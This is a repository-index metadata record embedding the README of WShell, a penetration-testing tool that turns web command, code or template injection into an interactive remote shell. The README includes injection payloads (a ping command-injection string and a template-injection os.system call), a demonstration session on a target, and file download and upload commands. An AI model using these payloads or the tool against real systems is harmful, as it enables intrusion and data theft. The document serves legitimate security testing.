{"id":39566394,"url":"https://github.com/unlock-security/wshell","last_synced_at":"2026-01-18T07:14:35.641Z","repository":{"id":287424514,"uuid":"293590755","full_name":"unlock-security/wshell","owner":"unlock-security","description":"A handy interactive shell through {code,command,template} injection","archived":false,"fork":false,"pushed_at":"2025-11-23T04:06:27.000Z","size":185,"stargazers_count":9,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-11-23T06:08:54.319Z","etag":null,"topics":["ctf-tools","penetration-testing","penetration-testing-tools","rce","security","security-tools","shell","webshell"],"latest_commit_sha":null,"homepage":"https://www.unlock-security.it","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/unlock-security.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2020-09-07T17:28:08.000Z","updated_at":"2025-11-15T23:20:57.000Z","dependencies_parsed_at":"2025-04-11T17:29:07.981Z","dependency_job_id":"0dff39e8-c0b9-40d8-bf03-3eb135056694","html_url":"https://github.com/unlock-security/wshell","commit_stats":null,"previous_names":["unlock-security/wshell"],"tags_count":2,"template":false,"template_full_name":null,"purl":"pkg:github/unlock-security/wshell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unlock-security%2Fwshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unlock-security%2Fwshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unlock-security%2Fwshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unlock-security%2Fwshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unlock-security","download_url":"https://codeload.github.com/unlock-security/wshell/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unlock-security%2Fwshell/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28532790,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-18T00:39:45.795Z","status":"online","status_checked_at":"2026-01-18T02:00:07.578Z","response_time":98,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ctf-tools","penetration-testing","penetration-testing-tools","rce","security","security-tools","shell","webshell"],"created_at":"2026-01-18T07:14:34.951Z","updated_at":"2026-01-18T07:14:35.634Z","avatar_url":"https://github.com/unlock-security.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# WShell\n\n[![Python 3](https://img.shields.io/badge/python-3-green.svg?style=for-the-badge\u0026logo=python\u0026logoColor=white)](https://docs.python.org/3/)\n[![WShell License](https://img.shields.io/github/license/unlock-security/wshell?style=for-the-badge\u0026label=License\u0026color=red)](https://github.com/unlock-security/wshell?tab=GPL-3.0-1-ov-file#readme)\n[![GitHub Release](https://img.shields.io/github/v/release/unlock-security/wshell?include_prereleases\u0026sort=semver\u0026display_name=release\u0026style=for-the-badge)](https://github.com/unlock-security/wshell/releases/latest)\n[![Made by 🔓 Unlock Security](https://img.shields.io/badge/Made_by-🔓_Unlock_Security-blue.svg?style=for-the-badge)](https://www.unlock-security.it/?utm_source=github\u0026utm_medium=repo\u0026utm_campaign=wshell)\n\nWShell lets you turn a web-based {code,command,template} injection in a full-featured shell with ease.\n\n## How it works\n\nWShell is a post-exploitation tool for web-based remote command execution (RCE) vulnerabilities.\nIt provides an agentless, language-agnostic, interactive pseudo-shell that feels like a real shell.\nWhen you run a command, WShell wraps it in a HTTP request and parse the HTTP response to get you\nonly the command output.\n\nIt can automatically find out what is the underlying operating system (OS) and adjust the shell\nprompt and other internal behavior accordingly.\n\nUnlike a standard web shell, WShell can handle commands like `cd` and a persistent commands history.\n\nTo make it works, you just have to specify the vulnerable URL, the necessary headers, HTTP\nparameters and where to put the command to execute.\n\nAs an example, to exploit a command injection in a vulnerable `ping` functionality you can do this:\n\n```shell\nattacker@host:/$ wshell --log=info 'https://www.target.com/app/vulnerable/ping.php?count=3' 'host=;WSHELL #'\n\n[13:37:00] [INFO] HTTP verb not specified. Using 'POST' based on parameters\n[13:37:00] [INFO] Target OS not specified, trying to automatically detect it\n[13:37:00] [INFO] Target OS detected as Linux\n\nwww-data@app:/var/www/app/vulnerable$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nwww-data@app:/var/www/app/vulnerable$ cd ../../\n/var/www\n\nwww-data@app:/var/www$ ls -al\ntotal 20\ndrwxrwx---  8 www-data www-data 4096 Mar  7 23:49 .\ndrwxr-xr-x 14 root     root     4096 Mar 18 13:37 ..\ndrwxrwx--- 25 www-data www-data 4096 Feb 18 15:31 app\n```\n\n### Real-world use cases\n\n#### cmdchallenge.com\n\n```sh\n$ wshell --input-scripts=base64_encode --output-scripts=unescape --delay=1.5 'https://cmdchallenge.com/c/r' 'cmd=WSHELL' 'slug=create_file'\n```\n\n#### www.learnshell.org\n\n```sh\n$ wshell --output-scripts=unescape --json 'https://www.learnshell.org/' 'code=WSHELL' 'language=bash'\n```\n\n\n## Install and update\n\n```shell\n# clone the repository and install it in a isolated virtual environment\n$ pipx install git+https://git@github.com/unlock-security/wshell\n\n# update wshell using latest stable git version\n$ pipx upgrade wshell\n```\n\n## Development\n\n```sh\n$ git clone https://github.com/unlock-security/wshell\n$ cd wshell/\n$ python3 -m virtualenv .venv\n$ source .venv/bin/activate\n$ pip install -e .\n```\n\n## Usage\n\n```\nusage: wshell [-h] [-v] [--placeholder COMMAND_PLACEHOLDER] [--os {linux,win-cmd,win-psh}] [-m METHOD] [-t SECONDS | --no-timeout] [-d DELAY] [--keep-alive] [--follow] [-ua USER_AGENT | -r]\n              [-j | -f] [--log {critical,error,warning,info,debug}] [--list-scripts] [--input-scripts INPUT_SCRIPTS] [--output-scripts OUTPUT_SCRIPTS]\n              URL [REQUEST ITEMS ...]\n\nTurn a web-based {code,command,template} injection in a full featured shell with ease\n\npositional arguments:\n  URL                   The endpoint URL where the injection is\n  REQUEST ITEMS         POST data and headers ('key=value' for data, 'key:value' for headers)\n\noptions:\n  -h, --help            show this help message and exit\n  -v, --version         Show the version number and exit\n  --placeholder COMMAND_PLACEHOLDER\n                        Use a custom command placeholder (default: WSHELL)\n  --os {linux,win-cmd,win-psh}\n                        Specify OS and shell in use on the target (default: auto-discover)\n\nHTTP arguments:\n  -m, --method METHOD   The HTTP method to be used for the requests (Default: POST if there is some data, GET otherwise)\n  -t, --timeout SECONDS\n                        The connection timeout of the request in seconds (default: 3.0)\n  --no-timeout          Disable the connection timeout\n  -d, --delay DELAY     Delay in seconds between each HTTP request (default: 0.0)\n  --keep-alive          Use persistent connection (default: True)\n  --follow              Follow 30x Location redirects (default: True)\n  -ua, --user-agent USER_AGENT\n                        Use a custom User-Agent (default: WShell v0.1.0-beta)\n  -r, --random-agent    Use a random valid browser User-Agent\n  -j, --json            Data items from the command line are serialized as a JSON object (default: False)\n  -f, --form            Data items from the command line are serialized as form fields\n\nLogging arguments:\n  --log {critical,error,warning,info,debug}\n                        To specify the log messages level\n\nInput/Output scripts:\n  --list-scripts        List the available scripts to manipulate input/output\n  --input-scripts INPUT_SCRIPTS\n                        Use one or more custom input script (comma separated, order matters)\n  --output-scripts OUTPUT_SCRIPTS\n                        Use one or more custom output script (comma separated, order matters)\n\nFor every --ARGUMENT there is also a --no-ARGUMENT that reverts ARGUMENT\n\nExample usage:\n\n    wshell 'https://www.example.com/webshell?cmd=WSHELL'\n    wshell --form 'https://www.example.com/command-injection' 'p=;WSHELL #'\n    wshell 'https://www.example.com/ssti' 'msg=${self.module.cache.util.os.system(\"WSHELL\")}'\n```\n\n## Scripts\n\nWShell can run input and output scripts which are simple functions used to manipulate input command and output response.\nAs an example, if the vulnerable page returns a base64-encoded result you can use `--output-scripts=base64_decode` to get\nthe output as plain text.\n\nScripts can be chained and used more than once, for instance is totally fine to do something like `--output-scripts=unescape,base64_decode,base64_decode`.\n\n### Developing a script\n\nDeveloping a script for WShell is straightforward, just add a python file in `wshell/scripts/input` or `wshell/scripts/output` folder. The file name will\nbe the name used to invoke the script from the command line (e.g. if you create `wshell/scripts/output/test.py` you can invoke it with `--output-scripts=test`).\n\nInside the file you have to create a function with the following signature `run(str) -\u003e str`. A docstring to use as a description for the script is mandatory.\n\nAs an example, the `base64_decode` output script corresponds to `wshell/scripts/output/base64_decode.py` and it is implemented like this:\n\n```py\nimport base64\n\ndef run(output: str) -\u003e str:\n    \"\"\"Base64 decode output (requires --os to work)\"\"\"\n    return base64.b64decode(output, validate=False).decode(\"utf-8\", \"ignore\")\n```\n\n## Custom commands\n\nCustom commands are special commands that you can run within the WShell prompt. They are not executed on the target system but within WShell itself. These commands are useful for performing actions that are not directly related to the remote shell, such as uploading or downloading files, or managing WShell's state.\nFor instance, the built-in `download` command abstracts away the complexity of exfiltrating a file from different operating systems, providing a consistent interface for the user.\n\nWShell automatically discovers and registers any custom command placed in a subdirectory of `wshell/commands`.\nYou can check all the available custom commands by typing `help -v` in a WShell prompt:\n\n```sh\nvictim@vulnerable-server:/var/www/html/$ help -v\n\nDocumented commands (use 'help -v' for verbose/'help \u003ctopic\u003e' for details):\n\nFile transfer\n======================================================================================================\ndownload              Download remote file\nupload                Upload local file\n\nUncategorized\n======================================================================================================\nhelp                  List available commands or provide detailed help for a specific command\nhistory               View, run, edit, save, or clear previously entered commands\nquit                  Exit this application\nset                   Set a settable parameter or show current settings of parameters.\nshell                 Execute a command as if at the OS prompt\n```\n\nA custom command can have its own help message and parameters:\n\n```sh\nvictim@vulnerable-server:/var/www/html/$ download -h\nusage: download [-h] -r FILENAME [-l FILENAME] [-c SIZE | -n]\n\nDownload remote file\n\noptions:\n  -h, --help            show this help message and exit\n  -r, --remote FILENAME\n                        Remote file to download\n  -l, --local FILENAME  Local file where to store the downloaded file (default: current folder, same name as remote)\n  -c, --chunk SIZE      Size of the chunk to download in bytes (default: 1024)\n  -n, --no-chunk        Do not split into chunks\n```\n\n### Developing a custom command\n\nTo create a custom command, you need to create a new Python file with the name of your choice in a subdirectory of `wshell/commands` (e.g., `wshell/commands/system/my_command.py`). The subdirectory (`system` in this case) will be its category.\n\nInside the file, create a class that inherits from `wshell.commands.WShellCommandSet`, then you can follow the cmd2's [Modular Commands documentation](https://cmd2.readthedocs.io/en/stable/features/modular_commands/) for the specification.\n\nBasically, you just need to implement a method starting with `do_` for each command you want to add. For example, a `do_phpinfo` method will create a `phpinfo` command.\n\nHere is an example of a simple `phpinfo` command that create a PHP file named `info.php` executing `phpinfo()` in the current directory:\n\n```python\n# wshell/commands/php/phpinfo.py\nimport argparse\n\nfrom cmd2 import with_argparser\n\nfrom wshell.commands import WShellCommandSet\n\n\nclass PHPInfoCommandSet(WShellCommandSet):\n\n    argument_parser = argparse.ArgumentParser(description=\"Create a new file into the current directory that executes `phpinfo()`\")\n    argument_parser.add_argument(\n        \"-f\", \"--filename\",\n        metavar=\"FILENAME\",\n        required=False,\n        help=\"Name of the file\",\n        dest=\"filename\",\n        default=\"info.php\"\n    )\n\n    @with_argparser(argument_parser)\n    def do_phpinfo(self, args) -\u003e None:\n        file_content = \"\u003c?php phpinfo();\"\n        self._dispatch(\"write_phpinfo_file\", args.filename, file_content)\n\n    def _linux_write_phpinfo_file(self, filename, file_content):\n      self._cmd.injector.execute(f\"echo -n '{file_content}' \u003e {filename}\")\n\n    def _win_psh_write_phpinfo_file(self, filename, file_content):\n      self._cmd.injector.execute(f\"Set-Content -Path '{filename}' -Value '{file_content}'\")\n\n    def _win_cmd_write_phpinfo_file(self, filename, file_content):\n      self._cmd.injector.execute(f\"echo {file_content} \u003e {filename}\")\n```\n\nTo make this command available in WShell in the `Php` category, you would save it as `wshell/commands/php/phpinfo.py`. Then, from the WShell prompt, you could run it by just typing `phpinfo`.\n\nOn top of `cmd2`'s modular command features, WShell overrides the `_cmd` object of the command set to provides access to the current WShell session, including the HTTP client (`self._cmd.injector`), target information, and more. This is useful for creating more complex commands that run commands on the remote system.\n\nFor more complex examples, see the implementation of the built-in `upload` and `download` commands in the `wshell/commands/file_transfer` directory.\n\n## Contributing\n\nHave a look through existing [Issues](https://github.com/unlock-security/wshell/issues) and [Pull Requests](https://github.com/unlock-security/wshell/pulls) that you could help with.\nIf you'd like to request a feature or report a bug, please [create a GitHub Issue]() using one of the templates provided.\n\n[See contribution guide →](https://github.com/unlock-security/wshell/blob/main/CONTRIBUTING.md)\n\n---\n\n\u003cp align=\"center\"\u003eMade with 💙 by Unlock Security\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://www.unlock-security.it/?utm_source=github\u0026utm_medium=repo\u0026utm_campaign=wshell\" target=\"_blank\" rel=\"noopener\"\u003e\n    \u003cimg src=\"https://www.unlock-security.it/wp-content/uploads/2022/12/logo.svg\" width=\"150\"\u003e\n  \u003c/a\u003e\n\u003c/p\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Funlock-security%2Fwshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Funlock-security%2Fwshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Funlock-security%2Fwshell/lists"}